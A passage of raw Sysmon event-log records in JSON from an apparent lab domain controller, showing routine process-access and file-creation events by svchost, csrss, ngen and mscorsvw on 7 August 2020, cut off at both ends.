C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:42.885\r\nProcessGuid: {90617006-431D-5F2D-0000-001013FB0F00}\r\nProcessId: 4428\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.Web.Mobile.dll\r\nCreationUtcTime: 2020-08-07 12:03:42.885","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:42.885","ProcessGuid":"{90617006-431D-5F2D-0000-001013FB0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.Web.Mobile.dll","CreationUtcTime":"2020-08-07 12:03:42.885","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-0010EA011000}\r\nTargetProcessId: 3772\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-0010EA011000}","TargetProcessId":"3772","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-0010EA011000}\r\nTargetProcessId: 3772\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-0010EA011000}","TargetProcessId":"3772","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-0010EA011000}\r\nTargetProcessId: 3772\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-0010EA011000}","TargetProcessId":"3772","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00100E051000}\r\nTargetProcessId: 3180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00100E051000}","TargetProcessId":"3180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00100E051000}\r\nTargetProcessId: 3180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00100E051000}","TargetProcessId":"3180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00100E051000}\r\nTargetProcessId: 3180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00100E051000}","TargetProcessId":"3180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File 